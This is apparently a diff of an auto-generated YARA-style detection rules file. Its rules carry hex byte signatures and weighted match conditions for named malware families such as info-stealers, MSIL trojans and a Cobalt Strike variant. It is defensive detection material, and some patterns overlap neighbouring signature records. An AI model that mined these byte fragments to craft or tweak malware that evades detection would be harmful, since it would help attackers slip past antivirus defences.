_InfrastructureShared_6467{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*400) >=11 } -rule _InfrastructureShared_6468{ +rule _InfrastructureShared_6802{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 59 6d 61 63 63 6f 2e 4d 52 21 4d 54 42 00 0a 00 25 01 89 c3 66 c1 d7 02 38 fd d3 e9 d2 e9 89 c7 0f c9 b9 04 01 00 00 9c 38 f1 f9 28 c0 66 0f ba e3 02 68 34 fa 5b 8c 05 } //21539 + $a_30_1 = {48 } //5376 H + condition: + ((#a_4c_0 & 1)*21539+(#a_30_1 & 1)*5376) >=15 + +} +rule _InfrastructureShared_6803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -67430,20 +70925,52 @@ rule _InfrastructureShared_6468{ ((#a_46_0 & 1)*16675+(#a_49_2 & 1)*384) >=16 } -rule _InfrastructureShared_6469{ +rule _InfrastructureShared_6804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 30 38 30 38 5f 31 21 4d 54 42 00 0a 00 0d 01 1f 10 5d 91 61 9c 08 17 d6 0c 08 09 31 05 00 08 01 00 58 58 58 58 58 58 00 01 00 0e 01 47 65 74 4f 62 6a 65 63 74 56 61 6c 75 65 01 } //18467 $a_4c_1 = {74 } //1792 t - $a_74_2 = {00 78 6b 00 00 1e 00 1e 00 04 00 21 23 4f 46 4e 3a 4e 74 64 73 44 75 6d 70 65 72 00 0a 00 16 80 01 52 65 6c 65 61 73 65 5c 4e 54 44 53 44 75 6d 70 45 78 2e 70 64 62 0a 00 0b 80 01 2d 64 20 6e 74 64 73 2e 64 69 74 0a 00 0e 80 01 2d 6b 20 48 45 58 2d 53 59 53 2d 4b 45 59 0a 00 0f 80 01 43 6f 64 65 20 62 } //18277 - $a_63_3 = {6f 6e 76 68 00 00 78 6b 00 00 64 00 64 00 01 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 41 4b 53 00 01 00 39 03 80 3f 56 75 90 01 01 80 7f 01 4d 75 90 01 01 c6 07 4d c6 47 01 5a e8 90 01 01 00 00 00 8b 90 01 01 3c 03 90 01 01 8b 90 01 02 00 00 00 83 90 01 01 14 03 00 00 00 75 90 00 00 00 01 00 78 6b 00 00 90 } //8313 + $a_74_2 = {00 78 6b 00 00 14 00 14 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 62 6f 6f 6b 2e 47 43 21 4d 54 42 00 0a 00 19 81 01 11 07 11 06 8e 69 5d 13 35 11 06 11 35 11 32 11 34 91 9c 03 11 32 11 34 91 0a 00 1e 81 01 11 07 17 58 11 06 8e 69 5d 13 07 00 11 34 17 58 13 34 11 34 11 } //18277 + $a_13_3 = {11 36 2d c2 } //-470 condition: - ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*1792+(#a_74_2 & 1)*18277+(#a_63_3 & 1)*8313) >=17 + ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*1792+(#a_74_2 & 1)*18277+(#a_13_3 & 1)*-470) >=17 } -rule _InfrastructureShared_6470{ +rule _InfrastructureShared_6805{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 62 6f 6f 6b 2e 47 43 21 4d 54 42 00 0a 00 19 81 01 11 07 11 06 8e 69 5d 13 35 11 06 11 35 11 32 11 34 91 9c 03 11 32 11 34 91 0a 00 1e 81 01 11 07 17 58 11 06 } //21539 + $a_13_1 = {00 11 34 17 58 13 34 11 34 11 2a fe 04 13 36 11 36 2d c2 00 00 78 6b 00 00 19 00 19 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 65 72 2e 4c 4d 44 21 4d 54 42 00 0a 00 1d 00 53 57 16 17 b8 09 00 00 00 33 d2 57 2b f8 0f 95 c7 57 87 fa 5f 0b f9 } //27022 + condition: + ((#a_4c_0 & 1)*21539+(#a_13_1 & 1)*27022) >=20 + +} +rule _InfrastructureShared_6806{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 65 72 2e 4c 4d 44 21 4d 54 42 00 0a 00 1d 00 53 57 16 17 b8 09 00 00 00 33 d2 57 2b f8 0f 95 c7 57 87 fa 5f 0b f9 5f 6a 57 58 5f 5b 0f 00 1b 03 c1 e9 18 } //21539 + $a_e7_1 = {ff ff 0f 43 83 ee 01 75 90 01 01 8b 5d fc 8b 4d f4 90 00 00 00 78 6b 00 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 4a 21 4d 54 42 00 14 00 1a 01 00 d0 db 8f 25 f1 00 00 00 30 35 bc 5f fe 7f 00 00 50 1f ae 2f d5 02 00 00 f0 0a 00 21 01 32 d5 02 00 00 30 00 00 00 f1 00 00 00 84 0b 00 00 00 00 00 00 f8 db 8f 25 f1 00 00 00 40 00 00 } //-1741 + condition: + ((#a_4c_0 & 1)*21539+(#a_e7_1 & 1)*-1741) >=25 + +} +rule _InfrastructureShared_6807{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 4a 21 4d 54 42 00 14 00 1a 01 00 d0 db 8f 25 f1 00 00 00 30 35 bc 5f fe 7f 00 00 50 1f ae 2f d5 02 00 00 f0 0a 00 21 01 32 d5 02 00 00 30 00 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=30 + +} +rule _InfrastructureShared_6808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 04 00 21 " @@ -67455,7 +70982,7 @@ rule _InfrastructureShared_6470{ ((#a_4e_0 & 1)*20259+(#a_0a_1 & 1)*17739+(#a_5a_2 & 1)*18374) >=30 } -rule _InfrastructureShared_6471{ +rule _InfrastructureShared_6809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -67465,7 +70992,7 @@ rule _InfrastructureShared_6471{ ((#a_54_0 & 1)*18467) >=100 } -rule _InfrastructureShared_6472{ +rule _InfrastructureShared_6810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -67478,7 +71005,7 @@ rule _InfrastructureShared_6472{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*24429+(#a_20_2 & 1)*17545+(#a_3a_3 & 1)*28527) >=400 } -rule _InfrastructureShared_6473{ +rule _InfrastructureShared_6811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67488,7 +71015,7 @@ rule _InfrastructureShared_6473{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6474{ +rule _InfrastructureShared_6812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67498,7 +71025,7 @@ rule _InfrastructureShared_6474{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6475{ +rule _InfrastructureShared_6813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67508,7 +71035,7 @@ rule _InfrastructureShared_6475{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6476{ +rule _InfrastructureShared_6814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67518,7 +71045,7 @@ rule _InfrastructureShared_6476{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6477{ +rule _InfrastructureShared_6815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67528,7 +71055,7 @@ rule _InfrastructureShared_6477{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6478{ +rule _InfrastructureShared_6816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67538,7 +71065,7 @@ rule _InfrastructureShared_6478{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6479{ +rule _InfrastructureShared_6817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67548,7 +71075,7 @@ rule _InfrastructureShared_6479{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6480{ +rule _InfrastructureShared_6818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67558,7 +71085,7 @@ rule _InfrastructureShared_6480{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6481{ +rule _InfrastructureShared_6819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67568,7 +71095,7 @@ rule _InfrastructureShared_6481{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6482{ +rule _InfrastructureShared_6820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67578,7 +71105,7 @@ rule _InfrastructureShared_6482{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6483{ +rule _InfrastructureShared_6821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67588,7 +71115,7 @@ rule _InfrastructureShared_6483{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6484{ +rule _InfrastructureShared_6822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67598,7 +71125,7 @@ rule _InfrastructureShared_6484{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6485{ +rule _InfrastructureShared_6823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67608,7 +71135,7 @@ rule _InfrastructureShared_6485{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6486{ +rule _InfrastructureShared_6824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67618,7 +71145,7 @@ rule _InfrastructureShared_6486{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6487{ +rule _InfrastructureShared_6825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67628,7 +71155,7 @@ rule _InfrastructureShared_6487{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6488{ +rule _InfrastructureShared_6826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67638,7 +71165,7 @@ rule _InfrastructureShared_6488{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6489{ +rule _InfrastructureShared_6827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67648,7 +71175,7 @@ rule _InfrastructureShared_6489{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6490{ +rule _InfrastructureShared_6828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67658,7 +71185,7 @@ rule _InfrastructureShared_6490{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6491{ +rule _InfrastructureShared_6829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67668,7 +71195,7 @@ rule _InfrastructureShared_6491{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6492{ +rule _InfrastructureShared_6830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67678,7 +71205,7 @@ rule _InfrastructureShared_6492{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6493{ +rule _InfrastructureShared_6831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67688,7 +71215,7 @@ rule _InfrastructureShared_6493{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6494{ +rule _InfrastructureShared_6832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67698,7 +71225,7 @@ rule _InfrastructureShared_6494{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6495{ +rule _InfrastructureShared_6833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67708,7 +71235,7 @@ rule _InfrastructureShared_6495{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6496{ +rule _InfrastructureShared_6834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67718,7 +71245,7 @@ rule _InfrastructureShared_6496{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6497{ +rule _InfrastructureShared_6835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67728,7 +71255,27 @@ rule _InfrastructureShared_6497{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6498{ +rule _InfrastructureShared_6836{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 63 53 74 65 61 6c 65 72 2e 41 54 21 4d 54 42 00 01 00 38 03 0f b6 c8 8b c3 25 90 01 04 79 90 01 01 48 83 c8 90 01 01 40 33 c8 81 e1 90 01 04 79 90 01 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_6837{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 4a 42 4e 21 4d 54 42 00 01 00 38 03 48 8d 04 3e 48 89 45 90 01 01 31 d2 48 39 c6 0f 84 90 01 04 80 34 16 90 01 01 48 8b 45 90 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_6838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67738,7 +71285,7 @@ rule _InfrastructureShared_6498{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6499{ +rule _InfrastructureShared_6839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -67748,7 +71295,7 @@ rule _InfrastructureShared_6499{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_6500{ +rule _InfrastructureShared_6840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -67759,7 +71306,7 @@ rule _InfrastructureShared_6500{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*21605) >=1 } -rule _InfrastructureShared_6501{ +rule _InfrastructureShared_6841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -67770,7 +71317,7 @@ rule _InfrastructureShared_6501{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*97) >=1 } -rule _InfrastructureShared_6502{ +rule _InfrastructureShared_6842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -67781,7 +71328,7 @@ rule _InfrastructureShared_6502{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*25692) >=1 } -rule _InfrastructureShared_6503{ +rule _InfrastructureShared_6843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -67792,7 +71339,7 @@ rule _InfrastructureShared_6503{ ((#a_46_0 & 1)*16675+(#a_23_1 & 1)*29781) >=1 } -rule _InfrastructureShared_6504{ +rule _InfrastructureShared_6844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -67803,7 +71350,7 @@ rule _InfrastructureShared_6504{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1) >=1 } -rule _InfrastructureShared_6505{ +rule _InfrastructureShared_6845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -67814,7 +71361,7 @@ rule _InfrastructureShared_6505{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*29793) >=1 } -rule _InfrastructureShared_6506{ +rule _InfrastructureShared_6846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -67825,7 +71372,7 @@ rule _InfrastructureShared_6506{ ((#a_54_0 & 1)*18467+(#a_c4_1 & 1)*-4981) >=1 } -rule _InfrastructureShared_6507{ +rule _InfrastructureShared_6847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -67836,7 +71383,7 @@ rule _InfrastructureShared_6507{ ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*-15679) >=1 } -rule _InfrastructureShared_6508{ +rule _InfrastructureShared_6848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -67847,7 +71394,7 @@ rule _InfrastructureShared_6508{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*26667) >=1 } -rule _InfrastructureShared_6509{ +rule _InfrastructureShared_6849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -67858,7 +71405,7 @@ rule _InfrastructureShared_6509{ ((#a_54_0 & 1)*18467+(#a_05_1 & 1)*4098) >=1 } -rule _InfrastructureShared_6510{ +rule _InfrastructureShared_6850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -67869,7 +71416,7 @@ rule _InfrastructureShared_6510{ ((#a_46_0 & 1)*16675+(#a_bf_1 & 1)*2049) >=1 } -rule _InfrastructureShared_6511{ +rule _InfrastructureShared_6851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -67881,7 +71428,7 @@ rule _InfrastructureShared_6511{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*-17323+(#a_6c_2 & 1)*30789) >=1 } -rule _InfrastructureShared_6512{ +rule _InfrastructureShared_6852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -67893,53 +71440,86 @@ rule _InfrastructureShared_6512{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_6c_2 & 1)*0) >=1 } -rule _InfrastructureShared_6513{ +rule _InfrastructureShared_6853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : - $a_70_0 = {6f 69 74 3a 57 69 6e 33 32 2f 52 69 6e 67 50 61 74 68 4f 62 6a 00 01 00 30 01 40 ff 65 40 41 ff 65 40 42 ff 65 40 43 ff 65 40 46 ff 65 40 47 ff 65 40 48 ff 65 40 49 ff 65 40 4a ff 65 40 4b ff 65 40 4e ff 65 40 4f ff 65 40 01 00 06 01 b8 ff 64 24 60 5e 01 00 06 01 b8 ff 64 24 64 5e 00 00 78 6c 00 00 01 00 01 00 03 00 21 23 48 53 54 52 3a 4e 69 76 64 6f 72 74 } //17699 - $a_21_1 = {62 66 75 73 00 01 00 17 03 f2 0f 2a c1 f2 0f 90 02 0a f2 0f 90 02 10 f2 0f 90 02 10 f2 0f 90 00 01 00 17 03 f3 0f 5a c0 f2 0f 90 02 0a f2 0f 90 02 10 f2 0f 90 02 0a f2 0f 90 00 01 00 12 03 f3 0f 2a c2 } //17198 - $a_05_2 = {90 02 10 a1 90 02 10 a3 90 00 00 00 78 6c 00 00 01 } //4083 + $a_70_0 = {6f 69 74 3a 57 69 6e 33 32 2f 52 69 6e 67 50 61 74 68 4f 62 6a 00 01 00 30 01 40 ff 65 40 41 ff 65 40 42 ff 65 40 43 ff 65 40 46 ff 65 40 47 ff 65 40 48 ff 65 40 49 ff 65 40 4a ff 65 40 4b ff 65 40 4e ff 65 40 4f ff 65 40 01 00 06 01 b8 ff 64 24 60 5e 01 00 06 01 b8 ff 64 24 64 5e 00 00 78 6c 00 00 01 00 01 00 03 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 46 69 } //17699 + $a_79_1 = {74 65 6d 2e 50 52 21 41 4d 54 42 00 01 00 0e 81 01 53 79 73 74 65 6d 2e 49 4f 2e 46 69 6c 65 01 00 13 81 01 53 79 73 74 65 6d 2e 49 4f 2e 44 69 72 65 63 74 6f 72 79 01 00 15 81 01 53 79 73 74 65 6d 2e 49 4f 2e 43 6f 6d 70 72 65 73 73 69 6f 6e 00 00 } //25964 condition: - ((#a_70_0 & 1)*17699+(#a_21_1 & 1)*17198+(#a_05_2 & 1)*4083) >=1 + ((#a_70_0 & 1)*17699+(#a_79_1 & 1)*25964) >=1 } -rule _InfrastructureShared_6514{ +rule _InfrastructureShared_6854{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " + + strings : + $a_54_0 = {3a 4d 53 49 4c 2f 46 69 6c 65 53 79 73 74 65 6d 2e 50 52 21 41 4d 54 42 00 01 00 0e 81 01 53 79 73 74 65 6d 2e 49 4f 2e 46 69 6c 65 01 00 13 81 01 53 79 73 74 65 6d 2e 49 4f 2e 44 69 72 65 63 74 6f 72 79 01 00 15 81 01 53 79 73 74 65 6d 2e 49 4f 2e } //18467 + $a_70_1 = {65 73 73 69 6f 6e 00 00 78 6c 00 00 01 00 01 00 03 00 21 23 48 53 54 52 3a 4e 69 76 64 6f 72 74 2e 43 43 21 6f 62 66 75 73 00 01 00 17 03 f2 0f 2a c1 f2 0f 90 02 0a f2 0f 90 02 10 f2 0f 90 02 10 f2 0f 90 00 01 00 17 03 f3 0f 5a c0 f2 0f 90 02 0a f2 0f 90 02 10 f2 0f 90 02 0a f2 0f 90 00 01 00 12 03 f3 0f 2a c2 f3 0f 11 05 90 } //28483 + $a_90_2 = {10 a3 90 00 00 00 78 6c 00 00 01 00 01 00 03 00 21 23 48 53 54 52 3a 50 65 72 66 65 63 74 4f 70 74 69 6d 69 7a 65 72 5f 43 6f 6d 6d 6f 6e 41 00 01 00 09 80 01 57 65 73 6b 79 73 6f 66 74 01 00 0e 00 4d 69 72 61 63 6c 65 4c 69 62 2e 64 6c 6c 01 00 20 00 50 00 65 00 72 00 66 00 65 00 63 00 74 00 4f 00 70 00 74 00 69 00 6d 00 69 00 7a 00 65 00 72 00 00 00 78 6c 00 00 01 00 01 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 65 6d 6f 72 79 4d 61 6e 61 67 65 6d 65 6e 74 2e 50 52 21 } //4098 + condition: + ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*28483+(#a_90_2 & 1)*4098) >=1 + +} +rule _InfrastructureShared_6855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_54_0 = {3a 4e 69 76 64 6f 72 74 2e 43 43 21 6f 62 66 75 73 00 01 00 17 03 f2 0f 2a c1 f2 0f 90 02 0a f2 0f 90 02 10 f2 0f 90 02 10 f2 0f 90 00 01 00 17 03 f3 0f 5a c0 f2 0f 90 02 0a f2 0f 90 02 10 f2 0f 90 02 0a f2 0f 90 00 01 00 12 03 f3 0f 2a c2 f3 0f 11 } //18467 $a_10_1 = {a1 90 } //-28667 - $a_90_2 = {00 00 78 6c 00 00 01 00 01 00 03 00 21 23 48 53 54 52 3a 50 65 72 66 65 63 74 4f 70 74 69 6d 69 7a 65 72 5f 43 6f 6d 6d 6f 6e 41 00 01 00 09 80 01 57 65 73 6b 79 73 6f 66 74 01 00 0e 00 4d 69 72 61 63 6c 65 4c 69 62 2e 64 6c 6c 01 00 20 00 50 00 65 00 72 00 66 00 65 00 63 00 74 00 4f 00 70 00 74 00 69 00 6d 00 69 00 7a 00 65 00 72 00 00 00 78 6c 00 00 02 00 01 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 41 67 65 6e 74 2e 43 45 00 02 00 1f 03 fe 08 00 } //4098 + $a_90_2 = {00 00 78 6c 00 00 01 00 01 00 03 00 21 23 48 53 54 52 3a 50 65 72 66 65 63 74 4f 70 74 69 6d 69 7a 65 72 5f 43 6f 6d 6d 6f 6e 41 00 01 00 09 80 01 57 65 73 6b 79 73 6f 66 74 01 00 0e 00 4d 69 72 61 63 6c 65 4c 69 62 2e 64 6c 6c 01 00 20 00 50 00 65 00 72 00 66 00 65 00 63 00 74 00 4f 00 70 00 74 00 69 00 6d 00 69 00 7a 00 65 00 72 00 00 00 78 6c 00 00 01 00 01 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 65 6d 6f 72 79 4d 61 6e 61 67 65 6d 65 6e 74 2e 50 52 21 41 4d 54 42 00 01 } //4098 condition: ((#a_54_0 & 1)*18467+(#a_10_1 & 1)*-28667+(#a_90_2 & 1)*4098) >=1 } -rule _InfrastructureShared_6515{ +rule _InfrastructureShared_6856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_54_0 = {3a 50 65 72 66 65 63 74 4f 70 74 69 6d 69 7a 65 72 5f 43 6f 6d 6d 6f 6e 41 00 01 00 09 80 01 57 65 73 6b 79 73 6f 66 74 01 00 0e 00 4d 69 72 61 63 6c 65 4c 69 62 2e 64 6c 6c 01 00 20 00 50 00 65 00 72 00 66 00 65 00 63 00 74 00 4f 00 70 00 74 00 69 } //18467 - $a_00_2 = {72 00 00 00 78 6c 00 00 02 00 01 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 41 67 65 6e 74 2e 43 45 00 02 00 1f 03 fe 08 00 66 81 7d fe de 00 90 02 20 66 3d 01 80 0f 85 90 02 40 00 00 66 83 7d fe 26 7e 90 00 01 00 1d 00 72 25 5c 73 76 63 68 6f 73 74 2e 65 78 65 00 61 } //122 + $a_00_2 = {72 00 00 00 78 6c 00 00 01 00 01 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 65 6d 6f 72 79 4d 61 6e 61 67 65 6d 65 6e 74 2e 50 52 21 41 4d 54 42 00 01 00 0e 81 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 01 00 0b 81 01 56 69 72 74 75 61 6c 46 72 65 65 01 00 09 81 01 48 65 61 70 41 6c 6c 6f 63 } //122 condition: ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*122) >=1 } -rule _InfrastructureShared_6516{ +rule _InfrastructureShared_6857{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 4d 65 6d 6f 72 79 4d 61 6e 61 67 65 6d 65 6e 74 2e 50 52 21 41 4d 54 42 00 01 00 0e 81 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 01 00 0b 81 01 56 69 72 74 75 61 6c 46 72 65 65 01 00 09 81 01 48 65 61 70 41 6c 6c 6f 63 01 00 } //18467 + $a_48_1 = {61 } //-32504 a + $a_65_2 = {00 00 78 6c 00 00 02 00 01 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 41 67 65 6e 74 2e 43 45 00 02 00 1f 03 fe 08 00 66 81 7d fe de 00 90 02 20 66 3d 01 80 0f 85 90 02 40 00 00 66 83 7d fe 26 7e 90 00 01 00 1d 00 72 25 